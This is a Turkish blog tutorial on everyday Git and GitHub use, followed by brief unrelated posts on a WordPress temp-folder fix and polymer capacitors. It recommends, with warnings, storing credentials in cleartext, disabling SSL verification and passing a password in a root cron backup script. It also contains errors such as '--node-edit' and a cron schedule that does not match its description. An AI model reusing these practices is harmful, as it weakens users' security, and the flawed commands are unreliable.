Bu komutla bir orjin ekledik yani başlangıç noktası. Artık github ilk yükleyeceğimiz proje kopyamızı projemizin yaşam döngüsü içinde nereye konumlandıracağını biliyor. Yani ilk başa ya da “0” noktasına (orijin) konumlandıracak. Sıra geldi kodlarımızın fiziksel olarak github.com’daki uzak depomuza yüklemeye. Bunun için push komutunu kullanacağız. Eğer hali hazırda olan bir depodaki kodları yerele çekerek kendimize kopyalamamız gerekseydi fetch veya clone komutunu verecektik. Push komutunu verdiğiniz anda doğal olarak kullanıcı adı ve parolası girmeniz istenecek. GitHub’ın 13 Ağustos 2021‘de işleme koyduğu yeni kimlik doğrulama politikasına göre artık github parolamızı git aracı ile işlem yaparken kullanamıyoruz. Buradaki talimatları uygulayarak, önce hesap ayarlarının altındaki security sayfasında yer alan 2FA (iki adımlı doğrulama) ‘yı etkinleştirin ve ardından developer settings sayfasından yeni bir erişim jetonu (access token) tanımlayın. Git aracının sorduğu parolalara bu token’ı gireceğiz. İlerleyen paragraflarda kullanıcı/parola bilgisini her seferinde yazmamak için ne yapılması gerektiğini de anlatacağım.

git push -u origin master

İşte bu kadar. Artık elimizde projemizin şuanki halinin bir fotoğrafı var ve bir kopyası da GitHub sunucusunda kayıtlı durumda. İstediğimiz zaman buraya geri dönebilir veya projeyi farklı ortamlara kopyalamak/paylaşmak için GitHub sunucusundaki kopyayı kullanabiliriz. Ancak unutmayın ki GitHub sunucusu yalnızca commit ve ardından push yapılan dosyaları barındırır. Artık bundan sonra projemizi geliştirmeye devam edebiliriz. Projemize yeni dosyalar eklenirse add komutunu vererek takip listesine alacağız, kodlarda değişiklik yaptıkça da commit ile açıklama verip depoya ekleyeceğiz. Uzak depoya eklemek için push komutunu kullanacağız. Bu kadar.

Özetle, bundan sonra geliştirmemizin github döngüsü genel olarak aşağıdaki gibi olacak:

git add .
git commit
git push

Commitler arasında ne gibi değişiklikler olduğunu görmek için github.com üzerinde depomuza gidip ilgili dosyanın history butonuna tıklatabilirsiniz. Aşağıda ekran görüntüsü yer alıyor:

Not-1: commit yaptığınızda açıklama yazmanız için nano editörü açılıyordu. Dilerseniz kısa açıklamalar için gitt commit -m “Kisa aciklamalar…” komutunda olduğu gibi -m (comment) parametresini kullanabilirsiniz.

Not-2: add ve commit komutlarını kullanmadan önce, git status ile hangi dosyaların yeni oluşturulduğunu veya hangi dosyalarda değişiklikler yaptığınızı görebilirsiniz.

git status

Not-3: Boş bir commit oluşturmak için allow-empty parametresini kullanabilirsiniz

git commit --allow-empty

Biraz yeşillendirelim

Bu başlıktan itibaren yukarıda temel yaşam döngüsünü anlatmaya çalıştığım github kullanımını detaylandıracağım. Yukarıdaki adımlarda bunu mahsus yapmadım. Git zaten oldukça detaylı bir teknoloji ve işin temelini aktarırken akıcılığı teferruatlarla sekteye uğratmak istemedim.

git status

Bu komutu verdiğinizde projenizde değişikliğe uğramış ve yeni eklenen dosyalar listelenir. Değişikliğe uğramış ve henüz push edilmemiş olanlar yeşil renkte, dizine yeni dahil olanlar ve dolayısıyla henüz takibe alınmamış olanlar kırmızı renkte gösterilir. Takibe almak için yapılması gerekeni biliyorsunuz (zaten ekran çıktısında da yazıyor): git add

push yaparken her seferinde kullanıcı adı ve parola girmek bazen sıkıcı olabilir aşağıdaki komutu vererek GitHub kullanıcı adı ve parolanızın ev dizininizdeki ~/.git-credentials dosyasına depolanmasını sağlayabilirsiniz. Bu noktada önemli bir uyartım göndermem gerekiyor. Parola bu dosyaya açık şekilde (clear text) kaydolduğu için sisteminize erişim sağlayan birisi tarafından görülebilir. Bu konuya dikkat etmelisiniz. Kazayla public bir depoya push etmek de hamama gitme gerekçesi olabilir.

git config credential.helper store

Commit’lerin sıklığı ve ne zaman yapılacağı konusunda biraz bilgi vereyim. “zırt pırt” commit yapmayın. Özellikle birden fazla kişinin çalıştığı projelerde herşeyi commit yaparsanız ekip arkadaşlarınızın yapılan değişikliğin anlamsal bütünlüğünü kavramaları zor olabilir. Örneğin projenin belli bir kısmı ile ilgili yaptığınız eklemeyi commit’leyin. Ya da belli bir hatayı düzeltmek üzere yaptığınız çalışmayı commit’leyin. Bunu kullandıkça daha iyi kavrayacaksınız. Kısaca “ota-poka” commit yapmayın

Git add ile dosya veya dizinleri takip listesine alıyorduk. Peki hali hazırda birşeyleri (dizin/dosya) takip listesinden çıkartmak istersek ne yapmamız gerek? Bunun için de git rm yani remove komutundan faydalanırız. Kullanımı git add ile aynıdır. git rm ile belirttiğimiz dosya/dizinler önümüzdeki commit listemizde yer almazlar.

git rm dosya.txt

Diyelim ki, yaptığınız commit’e bir dosyayı dahil etmeyi unuttunuz bunun için dosyayı add ile takibe aldıktan sonra son yapılan commit’i aşağıdaki gibi yenileyebilirsiniz. Önceki iptal edilecektir. Amend ile yenilenen commit git log çıktısında gözükmezken git reflog çıktısında gözükür.

git commit --amend

Eğer sadece yorumu güncellemek istiyorsanız:

git commit --amend -m "Yeni yorum"

git’in komutları hakkında yardım almak için hem de oldukça detaylı bir yardım almak için komuta –help parametresini verebilirsiniz. Malesef bu kapsamlı kaynak ingilizce.

git commit --help

Branchler Hakkında

İşler biraz karışıyor gibi olacak ama sakin olun. Branch kavramı git versiyonlamanın olmazsa olmazı. Branch Türkçe’de kol, dal anlamına geliyor. Yani projemizi kollara veya dallara ayırmak için kullanıyoruz. Özellikle birden fazla kişinin çalıştığı projelerde çok faydalı bir işlev. Branch’i anlamak için şöyle bir örnek verelim. Diyelim ki bir web sitesi kodluyorsunuz ve müşteriden acil bir ek istek geldi. Login sayfasına sms şifresi ile de giriş yapılabilsin istiyor. Fakat siz o sırada CSS’leri güzelleştiriyordunuz. Müşteri velinimettir farkındalığıyla çalışmakta olduğunuz için işi bırakıp müşterinin isteğine yöneleceksiniz veya projenin mevcut halini ekip arkadaşınıza verim ilgili özelliği eklemesini isteyecek bu sırada CSS işinize devam edeceksiniz. Bu gibi durumlar (yeni bir özellikle ekleme, raporlanmış bir hatayı düzeltme, belli sağlamlık testlerinin onaylandığı durumlar) branch oluşturmanın en uygun anlarındandır.

Diyelim ki biz müşterinin isteğini ekip arkadaşımıza paslama seçeneğini tercih ettik. Yani ek özelliği yeni bir kol olarak oluşturup daha sonra ana kol ile birleştireceğiz, yani merge işlemi yapacağız. Aciliyetle ana proje üzerinde yapabileceğimiz hataları dilersek geri alabileceğiz veya müşteri 3 yıl sonra bu özelliği çıkartmak isteyecek ama biz proje ile çok fazla uğraştık ve kodlar büyüdükçe büyüdü, özelliği elle çıkartmak zahmetli. Olsun, git kullanarak yine de çıkartabilirsiniz. Git’in bu konudaki zeki altyapısı size yardımcı olacak.

Yeni bir branch’e geçmeden önce projenin şuanki haline add ve commit yapın. Aksi takdirde add ve commit yapılmayan dosyalar yeni branch’e dahil olacaktır.

git add .
git commit 

Mevcut halinin bir fotografını çektiğinize göre bu noktada kendinize yeni bir dal oluşturuyorsunuz. Bu dalın adı da sms-login olsun. Yeni bir dal oluşturmak için şunu yazın:

git branch sms-login

Projenin mevcut halinden (master) bu dala geçerek çalışmaya başlamak için checkout komutunu verin:

git checkout sms-login

Artık bu safhadan sonra sms-login branch’i ile ilgili kodlamaları yapabilirsiniz. Sitenin önceki (master) kodları ile sms-login kodları şimdilik ayrı kollardan devam ediyor. sms-login özelliğinin kodlaması bitip gerekli testleri yaptıktan sonra değişiklik yaptığınız dosyaları git add ile takibe alın (site.css’e dikkat edin):

git add sms-login.include.php sms-login.class.php site.css

Ardından içinde bulunduğunuz branch’i (sms-login) commit ederek bir dönemeç noktası daha oluşturun.

git commit -m "Acil istek uzerine sms-login ozelligi eklendi."

Şimdi telefon gelmeden önceki kaldığımız yere master branch’e geri dönelim bunun için:

git checkout master

Şimdi CSS güzelleştirme işine devam edebilirsiniz. CSS işlerini bitirdikten sonra bir bakıma elinizde iki adet proje oluşmuş olacak (A ve B). Biri CSS iyileştirmesi yaptığınız ama sms-login özelliği olmayan (Buna A projesi diyelim). Diğeri de CSS geliştirmesi yarım kalmış ama sms-login özelliği eklenmiş olan proje (buna da B projesi diyelim).

Gayet tabi sms-login’i eş zamanlı olarak ekip arkadaşınız da yazmış olabilirdi. Esasında burada anlattığım senaryo (yani sms-login’i ve css’i yazan kişinin aynı olması) git ekosistemini anlatmak için zayıf kalıyor. Eğer sms-login işini ekip arkaşımıza paslayıp, CSS işimizi hiç bölmeyecek bir senaryo kullanıyor olsaydım git’in özelliklerini anlatmak açısından daha iyi olurdu ve yakaşanı da buydu. Lakin, temel ve anlaşılır bir anlatım ortaya koymak için teferruatlardan uzak durmak istedim. Aksi takdirde daha birçok git komutu ve özelliğini de bu cümlelerin arasına serpiştirmem gerekirdi ki bu da dikkati dağıtabilir. Ama merak etmeyin bu dökümanı okumayı bitirdiğinizde 2. senaryoyu da rahatlıkla kullanabiliyor olacaktısınz.

Şimdi doğal olarak bu iki projeyi master branch üzerinde birleştirmemiz lazım ki elimizde yola devam edebileceğimiz bütün bir proje olsun. Bunun için aşağıdaki komutu girmeniz yeterli. Bu kadar.

git merge sms-login

Bu komutla master ve sms-login branch’leri (A+B) aktif branch olan master üzerinde birleştirilir. Aklınıza şöyle bir soru gelebilir (aslında gelmesi de lazım). Diyelim ki A ve B projesinin her ikisinde de site.css dosyasında değişiklikler yaptınız. Peki hangisi geçerli olacak? Burada git’in zeki özellikleri devreye girerek her iki projede de yaptığınız değişiklikleri birleştirecek. Ayrı koldan yürüyen A ve B’nin birbirini olumsuz etkilemesini önleyen bir mantıkla birleştirme yapacak hatta çok mantıklı bir birleştirme yapacak endişe etmeyin. Diğer taraftan; projenizi geliştirirken modüler bir mantık kullanıyorsanız çok büyük bir ihtimalle hiçbir sorunla karşılaşmayacaksınız. Çünkü modüler geliştirmede kod parçaları büyük oranda birbirinden bağımsızdır. Tabi hala 90’lı yıllardaki gibi (nesne ve olay kavramları yokken) herşeyi onbinlerce satır ve yüzlerce alt program kullanarak inşa ediyorsanız müdahale edeceğiniz durumlar oluşabilir. Bunu confict başlığında ele aldım.

Burada anlatılan kollara ayırma ve birleştirme işlemi için aşağıdaki şekil açıklayıcı olabilir. Yukarıdaki anlatımda tek bir commit yapmış olsak da bu konuda bir sınırlama yok. Aşağıdaki görselde herbir çember bir commit’i ifade ediyor.

Yerel deponuzda kayıtlı branch’leri görmek için branch komutuna -a seçeneğini verebilirsiniz.

git branch -a

Master branch’den merge işlemini paralel devam eden bir çok branch’e istediğiniz zaman yapabilirsiniz. Bunu yapmanın kararını ekip arkadaşlarınızla eşgüdümlü şekilde kararlaştırmalısınız. Yeri gelmişken tekrar hatırlamak gerekirse; git mantalitesinde hedef ürüne dönüşecek olan kol master adlı branch’dir. Hmm, güzelmiş deyip sıradaki başlığı okumaya devam edelim.

Merge’de çakışma yada conflict oluşunca

Merge ile kaldığımız yerden devam edelim. Peki her iki projede de aynı CSS satırını ya da komutunu değiştirdiysem hangisi geçerli olacak. Tabi bu değişikliği master’ı kodlayan ekip arkadaşınız da yapmış olabilir. Evet işte bu bir sorun ve buna git literetüründe conflict yani çakışma deniyor ve bir versiyon kontrol sisteminde yaşyabileceğiniz en büyük sorundur. Bu noktada; ilgili satırda/komutta hangi değişikliğin uygulanacağını sizin elle belirlemeniz gerekiyor. Çakışma olan dosyayı git status komutu ile görebilirsiniz. Eğer kollardan birini farklı bir kişi kodluyorsa, hangi satırın korunacağı konsunda onunla iletişim kurmanın zamana gelmiş demektir.

git status

Çakışmayı çözmek için ilgili dosyayı bir metin editörü ile açtığınızda çakışma olan bölgenin başlangıncında açakışma işareti olan <<<<<<< karakterlerini göreceksiniz. Bitişi ise >>>>>>> karakterleriyle işaretlenmiştir. A ve B kodu ise ======= ile ayrılmıştır. Aslında merge tarafından üretilen ilgili blok tam olarak aşağıdaki gibidir:

p[style="background: #f2f2f2"]
<<<<<<< HEAD
line-height: 1em !important;
=======
line-height: 1.2em !important;
>>>>>>> branch sms-login

Bu blokta yer alan çakışma şudur. Aynı seçici (p[style=”background: #f2f2f2″]) için iki farklı satır yükseliği değeri belirtilmiş. git sizden hangisi geçerli olacağını belirlemenizi istiyor. 1.2em’ye karar vermişsek bu değişikliği yapmak için bu bloğunu silip aşağıdaki gibi sadece css kodunu bırakmalısınız.

line-height: 1.2em !important;

İlgili değişikliği yaptıktan sonra add ve commit komutlarını verebilirsiniz:

git add . git commit -m "sms-login ve master branch cakisma sorunu elle cozuldu."

İşlem bukadar. Merge işleminden vaz geçmek isterseniz de aşağıdaki komut yardımınıza yetişir:

git merge --abort

Master adında bir branch’imiz var. Bu her halukarda mevcut olan bir branch. Yani proje geçmişi açısından hem bir başlangıç noktası hem de omurga. Merge işlemi git gibi versiyon izleme ve yönetim araçlarının olmazsa olmaz parçasıdır. Yoksa yaptığımız şeyin sürekli yedek almaktan bir farkı olmazdı. Eğer merge gibi olanak olmasaydı projede aynı anda sadece 1 kişi çalışabilirdi. O kişide muhtemelen şunu derdi; şuanda raporlama ekranlarını kodluyorum kimse projeye dokunmasın. Ekibin tüm üyeleri buna benzer şeyler söylerdi ve ciddi bir zaman ve para kaybı ortaya çıkardı. git gibi bir olanak varken onu mutkala kullanın. Sadece yazılım projelerinde değil dijital ortamdaki herhangi bir projenizde de kullanabilirsiniz. Eğer çalıştığınız şey kodlama projesisi ise daha doğrusu metin tabanlı bir içerikten oluşuyorsa, merge’in olanaklarından sonuna kadar yararlanın. git’in merge işlemi için son derece sağlam çalışan bir altyapısı var. Linux gibi milyonlarca satırdan oluşan milyardolarlık bir projenin onbilerce kişi tarafından dağıtık olarak geliştirilebilmesini sağlayan git’i kullanın ve kullandırtın.

Marty, Beni geçmişe geri götür

Birşeyler ters gitti ve projeyi en son çalışan haline veya commit ettiğiniz bir zamana geri döndürmeniz gerekiyor. Birçok dosyada onlarca değişiklik yaptınız. Tabi elinizde git gibi bir araç olmasaydı işiniz çok zor olurdu. Daha önce belirttiğim gibi ancak commit ettiğiniz zamanlara geri dönebilirsiniz. Aşağıdaki geri döndürme işleminin telafisi yoktur. Tekrar ileri gidemezsiniz. O nedenle çok kere düşünün. Sadece bir dosyayı son commit’e geri döndürmek için;

git checkout -- dosya.txt

Not: Normalde bu komut git checkout dosya.txt şeklinde de yazılabilir. Fakat — işaretleri git aracına artık komut satırı parametrelerini dikkate alma der ve ardından dosya.txt’yi son commit’e döndürür. Mesela master isminde bir dosyanız oldugunu düşünün (sadece master, uzantısı yok) normalde bu dosyayı önceki commit’e çekmek için yazmanız gereken komut şu olurdu: git checkout master ama bu komut çalışılan kolu master olarak ayarlayacaktır. Bu nedenle — işaretlerinden yararlanarak bu olasılığı baştan bertaraf eden bir alışkanlık kazanıyoruz.

Projedeki herşeyi son commit’e (HEAD) geri döndürmek istiyorsanız;

git reset --hard HEAD

Son commit’ten önceki commit’e geri döndürmek istiyorsanız:

git reset --hard HEAD~1

Dikkat edin checkout ve hard reset’in geri dönüşü yoktur. Tekrar ileri alamazsınız. Belli bir commit’e geri dönmek için ise HEAD~numara yazabileceğiniz gibi commit’in hash id değerinin ilk 6 hanesini yazmanız da yeterlidir. Hash id’ler git log veya git reflog listesinde commit 67a1c17b9b7376c7f2602c6fb3315a şeklinde gözüken değerlerdir.

git reset 67a1c1

Eğer reset’i argümansız olarak kullanırsanız son commit’ten sonra add ile eklediğiniz dosyaları takipten çıkartır. Sadece bunu yapar dosyalara ve içeriğine dokumaz.

git reset

Değişiklikleri geri almanın bir diğer yolu da revert işlemidir. Bunun öncekinden farkı yapılan geri döndürme commit tarihçesinde görünür ve tekrar ileri almaya izin verir. Örneğin son commit’den sonra bir dosyanın bir satırında yaptığınız değişikliği geri almak istiyorsunuz. Aşağıdaki gibi gerçekleştirebilirsiniz. Bu yaptığınız revert işlemi kayıt altına alınacağı için tekrar ileri de gidebilirsiniz. no-edit ile revert işlemi uygulanan commit’in comment’ini düzenlemeyeceğiz.

git revert 67a1c1 --node-edit

Commit’leri kim yapmış

Birden fazla kişinin çalıştığı projelerde commit’leri kimin yaptığını belirleyebilmek için herbir kişi kendi projesine aşağıdaki gibi bilgilerini tanımlayabilir. Bu bilgileri daha sonra değiştirmek isterseniz git config –global –edit komutunu kullanabilirsiniz.

git config --global user.name "enseitankado"
git config --global user.email "[email protected]"

Projenizde yaptığınız tüm commit’lerin listesini görmek için aşağıdaki komutları kullanabilirsiniz. İkinci komut tek satırda listeleme yapar. Üçüncü komut ise yapılan değişiklikleri detaylı olarak gösterir. Hangi dosyanın hangi satırı nasıl değişmiş gibisinden.

git log
git log --pretty=oneline
git log -p

Güzel bir log komutu daha var oda git reflog. Reflog projemizde yaptığımız commit, merge ve revert gibi işlemlerin bir listesini ve herbir işlemin referans numarasını sunar.

git reflog

Uzak depoyu (remote repo) yerel depoya klonlayıp geliştirmeye devam etmek

Hali hazırda sahibi olduğumuz uzak bir depoyu yerele çekerek kodlarımızı geliştireceğiz ve tekrar uzak depoya yükleyeceğiz. Bunun öncelikle uygun bir dizine geçip aşağıdaki clone komutu verin. Proje için yeni bir dizin oluşturmanıza gerek yok, clone zaten orjinal adıyla yeni bir dizin oluşturacak.

git clone https://github.com/enseitankado/ss963-spi-tool.git

Bu komuttan sonra tüm proje ss963-spi-tool adlı dizine çekilecek ve takip için .git dizini de içine oluşturulacak. Şimdi uzak depo adresimizi aşağıdaki gibi tanımlayalım:

git remote add origin https://github.com/enseitankado/ss963-spi-tool.git

Kodlarımızı geliştirdikten sonra herşeyi takip listesine almak için;

git add .

Yaptığmız değişiklikleri yerel depomuza commit etmek için de;

git commit

Şimdi de yerel depomuzu uzak depoya güncellemek için aşağıdaki komutu verin.

git push

Hepsi bukadar. Artık uzak depoda bir yedeğimiz var ve her iki tarafta da istediğimiz zaman geri dönebileceğimiz bir commit’e sahibiz.

GitHub’ın bazı özellikleri

Yazının başında GitHub’a alternatif olarak GitLab ve BitBucket gibi sitelerin olduğunu söylemiştim. GitLab ve BitBucket ile bir deneyimim olmadığından onlar hakkında birşey söyeyemiyorum ama GitHub’ın ilk başta farkedilmeyen bazı güzel özelliklerini ve ekran konumlarını aşağıda listelemeye çalışacağım.

  • Projeniz için Wiki ortamı sağlar.
  • Proje sayfanıza sponsor butonu ekleyerek finansal destek sağlayabilirsiniz.
  • Projeniz kullanıcıların sorun bildirmesi için Issue (sorun) takip sayfası ekleyebilirsiniz.
  • Projenizin bağımlılıklarını takip edebilir ve proje kodlarınızdaki güvenlik zafiyetlerini raporlayabilir.
  • Github üzerinde bir kaynak kod sayfasını görüntülediğinizde, fare ile kodda kullanılan fonksiyonların üzerine gelerek fonksiyonun projede nerelerde tanımlandığını ve çağrıldığını (referans verildiğini) bir popup içinde görebilirsiniz.

Bazı dizin ve dosyaları hariç tutmak

Proje dizininizdeki bazı dosya ve dizinlerin hiçbir şekilde depoya ya da commit’lere dahil olmasını istemiyor olabilirsiniz. Bu tür dosya/dizinleri .gitignore dosyası içinde tanımlayabilirsiniz. Özellikle dosya ve dizinleri topyekün eklediğimiz add . kullanımlarında böyle bir ihtiyacın oluşması muhtemeldir. Eklemek istemediğiniz özel dosyalar yada gereksiz yere depoyu şişirebilecek kütüphaneler ya da sonraki revert’lerde uyumsuzluk yaratabilecek birşeyler olabilir. Özetle eklemek istemediğiniz dosya ve dizinleri proje dizininde .gitignore adlı bir dosya oluşturun ve içerisine aşağıdaki gibi ekleyin.

Desen Örnek Kapsam Açıklama
**/logslogs/debug.log
logs/monder/foo.bar
build/logs/debug.log
Çift yıldız ile herhangi bir dizin tanımı yapılır. logs ismindeki tüm dizinler hariç tutulur.
**/logs/debug.loglogs/debug.log
build/logs/debug.log
fakat şunu seçmez:”
logs/build/debug.log
Çift yıldızı yukarıdakine benzer olarak dosyalar içinde kullanabilirsiniz. Bu örnekte proje dizin ağacının herhangi bir yerinde logs adlı bir dizinin altında bulunan debug.log hariç tutulmuştur.
*.logdebug.log
foo.log
.log
logs/debug.log
Proje dizin ağacının herhangi bir yerinde uzantısı .log olan tüm dosyalar hariç tutulmuştur.
*.log
!important.log
debug.log
trace.log
fakat şunu seçmez:
important.log
logs/important.log
Bu kullanımda yukarıda açıklanan kapsamdan importan.log hariç tutulmuştur. Yani, importan.log haricindeki tüm log dosyaları indekse alınmaz.
debug.logdebug.log
logs/debug.log
Proje dizin ağacının herhangi bir yerindeki debug.log dosyaları hariç tutulur.
/debug.logdebug.log
fakat şunu seçmez:
logs/debug.log
Sadece proje ana dizinindeki debug.log dosyasını hariç tutar.
.gitignore dosyasının kullanımına dair bazı örnekler

.gitignore‘da kullanılabilecek dosya tanımlama desenlerinin kapsamlı bir listesine buradan erişebilirsiniz. Ben de yukarıdaki örnekleri buradan derledim.

Yukarı paragraftaki anlatım tek bir depodaki (ya da proje dizinindeki) dosyaları hariç tutmak üzerineydi. Bilgisayarınızdaki tüm depolarınız için ortak bir .gitignore oluşturmak isterseniz bu dosyayı home dizininizde oluşturun ve aşağıdaki komutla global olarak işleme konulmasını sağlayın.

git config --global core.excludesfile ~/.gitignore

.gitignore çalışmıyor mu?

Bazen .gitignore dosyasının görevini yapmadığı durumlarla karşılaşabilirsiniz. Bunun ençok karşılaşılan nedeni; hali hazırda takip listesinde var olan(git add .) bir dizini/dosyayı hariç tutmaya çalışmaktır. Hariç tutmak istediğiniz dosyaları gitignore’a sonradan eklerseniz .gitignore görev yapmaz. Çünkü Git takip listesine öncelik verir. Hariç tutulmasını istediğiniz dosya/dizinleri takip listesinden çıkartırsanız .gitignore dosyası dikkate alınmaya başlanacaktır. Dosyaları teker teker takip listesinden çıkartmak yerine, önce projenizdeki tüm dosyaları takip listesinden çıkartın ardından tekrar ekleyin.

git rm -rf --cached .

Yukarıdaki komuttan sonra projedeki tüm dosyalar takipten çıkartılır. Şimdi ise her zamanki gibi tüm dosyaları yeniden takip listesine almak için git add . komutunu verebilirsiniz. Bu sefer Git takip listesine ekleme sırasında .gitignore’da tanımladığınız girdileri dikkate alarak onları eklemeyecektir.

git add .

Git yapılandırmaları (config)

Yazının değişik kısımlarında git’in çeşitli yapılandırma seçeneklerinden bahsetmiştim. Bu başlıkta ise fazlaca açıklamaya gerek duymayan bazı küçük config ayarları hakkında kısa bilgiler vereceğim.

“Unable to … Git repository due to self signed certificate” hatası GitHub sunucusu ile güvenli kanaldan iletişim (SSL) kurulamadığında oluşur. Hataya göre istemcide yüklü sertifika güvenilir kaynak tarafından doğrulanamamış gözüküyor. Bu hata SSL filtreleme kullanan güvenlik duvarlarının çalıştığı kurumsal ağlarda veya güncel olmayan istemciler kullanıldığında gerçekleşir. Aşağıdaki ayar ile Git istemcisinin SSL doğrulaması yapmamasını sağlayabilirsiniz. Bu durumda depo ile yerel bilgisayarınız arasındaki iletişimin araya giren kişi tarafından görülebileceğini/elde edilebileceğini unutmamak gerekir.

git config --global http.sslVerify false

Yedeğin yedeği: GitHub depolarını yedeklemek

GitHub’ı sürüm yönetimi için hem bir uzak depo hem de bir yedekleme ortamı olarak kullanıyorsanız size bir tavsiyem daha olacak. Her zaman yedeğin yedeğini de bulundurmalısınız. GitHub hesabınız hacklenebilir, GitHub, donanım arızası yaşayabilir. Bir nedenden hesabınızı kapatabilirler.

Peki, herşey public/private github depolarınızda duruyorsa bunları da bir çırpıda yedekleyip biryerlere atsak güzel olmazmıydı. Bunu yapabilen github-backup adında bir python betiği var. Betiğe gerekli parametreleri geçirip crontab’a ekleyerek tüm github depolarınızın otomatik olarak yedeklenmesini sağlayabilirsiniz. Elimizde apt-get/apt paket yöneticisi kullanan bir Linux dağıtımı olduğunu varsayıyorum. Buna göre python aracını kurmak için aşağıdaki komutları verin. İlk komut paket listemizi güncelleyecek. İkinci komut pip aracını kuracak, son komut ise github-backup’ın kurulabilmesi için gerekli araçları yükleyecek.

sudo apt update
sudo apt install python-pip
sudo apt install python-setuptools

Şimdi sıra geldi python betiğini yüklemeye. Aşağıdaki komutu vererek yükleyebilirsiniz.

pip install github-backup

Bu betiğin parametrelerini görmek için -h seçeneğini kullanabilirsiniz. Basitçe github hesabınızdaki tüm depoları yerele yedeklemek için aşağıdaki komutu girebilirsiniz. Sondaki –private (-P) seçeneği private olarak oluşturulmuş depoları da yedeğe dahil eder.

github-backup -u <github_kullanici_adiniz> -p <github parolanız> -o <yedek_dizini> --all --private

Aşağıda her gece 05:00’da tüm github hesabımızı günün tarihi ile yedekleyen ve tar.gz olarak sıkıştıran bir betik ve betiğe ait crontab girdisi yer alıyor. Cronjob’ımız işlemlerin çıktısını output.txt’ye kaydediyor ve aynı zamanda yedekleme işleminin ekran çıktısını mail olarak gönderiyor. Betik ayrıca en yeni 10 yedeği muhafaza edip gerisini siliyor. Siz kendinize göre düzenleyebilirsiniz.

0 4 * * * /root/github_backup.sh 2>&1 | tee output.txt | mail -s "github_backup.sh OUTPUT" [email protected]

github_backup.sh dosyamızın içeriği:

#Depolari gecici dizine yedekle
mkdir /root/github_tmp
github-backup <github_kullanici_adi> -u <github_kullanici_adi> -p <github_kullanici_parola> -o /root/github_tmp --all --private

#Gecici dizini zaman bilgisi ile arsivle
tar -Pzcf /root/rbackup/github_backup_$(date +%y-%m-%d_%H-%M-%S).tar.gz /root/github_tmp

#Gecici dizini sil
rm -rf /root/github_tmp

#En yeni 10 arsivi birak gerisini sil
ls -1tr github_backup_*.tar.gz | head -n -10 | xargs -d '\n' rm -f --

Windows’da işler nasıl?

Git ile ilgili buraya kadar anlatttıklarımın aynısını Windows ortamında da gerçekleştirebilirsiniz. Bunun için git aracının Windows sürümünü indirip kurmanız yeterli. https://gitforwindows.org/ adresindeki setup’ı indirip kurduktan sonra sağ context menüye Git Gui Here ve Git Bash Here adından iki seçenek eklenir. İkinci seçenek ile burada anlattıklarımın aynısını uygulayabilirsiniz. Bir dizine sağ tıklatıp Git Bash Here seçeneğini seçerseniz proje dizininde aynı komutları kullanabileceğiniz bir Linux terminal emülasyonu açılır. Gui ise terminal de yaptığımız işlemleri bir Windows uygulaması ile yapmak içindir. Ama biz klavyenin kıymetinin ve havasının farkında olan insanlar olarak GUI’ye topyekün karşıyız. Şaka :)

Kaynaklar

Ali Özgür – Git 101 – https://aliozgur.gitbooks.io/git101/

Pro Git – https://git-scm.com/book/en/v2

Rebase komutunun ve işlevinin anlatıldığı güzel bir yazı:
https://medium.com/@aliustaoglu/git-cakismalarini-gidermenin-etkili-yollari-91b1160ce2e9

Git Dersleri – https://www.mobilhanem.com/git-egitimi/

Git Basit Rehber – https://rogerdudler.github.io/git-guide/index.tr.html

Git CheatSheets (Kopya kağıtları) – Google Araması


Bilişim Suçları Uygulama Hukuku

Wordress “WordPress Missing Temporary folder” Hatasının Giderilmesi

Mesajda WordPress geçici dosyaların depolandığı dizine ulaşamıyor diyor. Bu dizin genellikle /tmp (root dizin altında). Eğer benim gibi Apache’nin VirtualHost/Directory direktifine php_admin_value open_basedir seçeneğini eklediyseniz hiçbir PHP bu dizinin dışına çıkamayacak ve WordPress doğal olarak bu hatayı verecektir.

Çözüm için;

  1. Directory direktifi olarak şunu ekleyin:
    php_admin_value upload_tmp_dir “/home/XXXX/www/wp-content/temp”
  2. Yukarıdaki patikayı XXXX‘i kendinize göre düzenlemeyi unutmayın.
  3. Patikanın işaret ettiği temp dizinini oluşturun ve erişim izinlerini ayarlayın.
  4. chown ve chmod ile sahiplik ve erişim izinlerini komşu dizin ile aynı yapın yeterli olacaktır.
  5. Artık sıra WordPress’e geçici dosyalar için bu temp dizini kullanması gerektiğini söylemeye geldi. wp-config.php dosyasına şu satırı ekleyin:
    define(‘WP_TEMP_DIR’, dirname(FILE) . ‘/wp-content/temp/’);
  6. Ayarların geçerli olması için Apache’yi yeniden başlatın:
    sudo systemctl restart apache2

Alüminyum Polimer ve Tantalyum Polimer kondansatörler arasındaki farklar

Alüminyum Polimer Elektrolitik Kondansatörler (Katı Elektrolitli)

Katı elektrolitli alüminyum ve tantalyum kondansatörler

  • 2.5 ila 125Vdc voltaj değerleri ile 3.3 ila 4700µF kapasite değerleri arasında üretilebilirler.[1]
  • Birim hacim başına daha düşük kapasitansa ve geleneksel alüminyum elektrolitik kapasitörlere göre daha yüksek kaçak akıma sahiptirler ancak bu yüksek dalgalanma akımına (ripple), düşük ESR’ye (empedans) ve çok daha uzun çalışma ömrüne dayanma kabiliyeti ile dengelenir.[1]
  • Uzun süre yüksek sıcaklıklarda çalışabilirler. [3]
  • Anotu sinterlenmiş alüminyumdan oluşur ve kılıfında anodu işaretlenmiştir.
  • Düşük ESR ve ESL değerleri ile yüksek frekanslarda çalışmaya uygundurlar. [4]
  • Elektrolitik buharlaşması olmadığı için daha uzun ömürlüdürler. Elektroliti katıdır.
  • Kısadevre durumunda yanma ve patlamaya neden olmazlar.
  • Alüminyum polimer elektrolitik kondansatörlere göre daha pahalı, daha yüksek kaçak akım değerlerine sahiptirler ve ani yüksek akım ve voltajlarda zarar görebilirler.
  • Tolerans değerleri ±%10 ile ±%20 arasındadır.
  • Sıcaklık ve frekansa bağlı olarak kapasitans değerleri sıvı elektrolitikli olanlarına göre daha az sapma gösterir.
  • 1 kHz frekansta ölçülen kapasitans değeri 100/120 Hz değerinden yaklaşık% 10 daha azdır. Bu nedenle, polimer kondansatörlerin kapasitans değerleri doğrudan karşılaştırılamaz ve kapasiteleri 1 kHz veya daha yüksek olarak ölçülen film kapasitörlerin veya seramik kapasitörlerinkinden farklıdır.
  • Ters polarma altında kaldıklarında kısa devre olarak hasar alırlar. [7]
  • ESR değerleri tantalyum polimere göre daha yüksektir. [7]
  • ESR değerleri yaklaşık 11mOhm civarındadır.[8]
  • Ripple akımı 5500mA civarındadır. [8]
  • Mükemmel bir yüksek frekans karakteristiğine sahiptir. [8]
  • 100KHz-1MHz arasındaki ESR değerleri sıvı elektrolitik alüminyum ve tantalyum kondansatörlere göre oldukça düşüktür. [8]
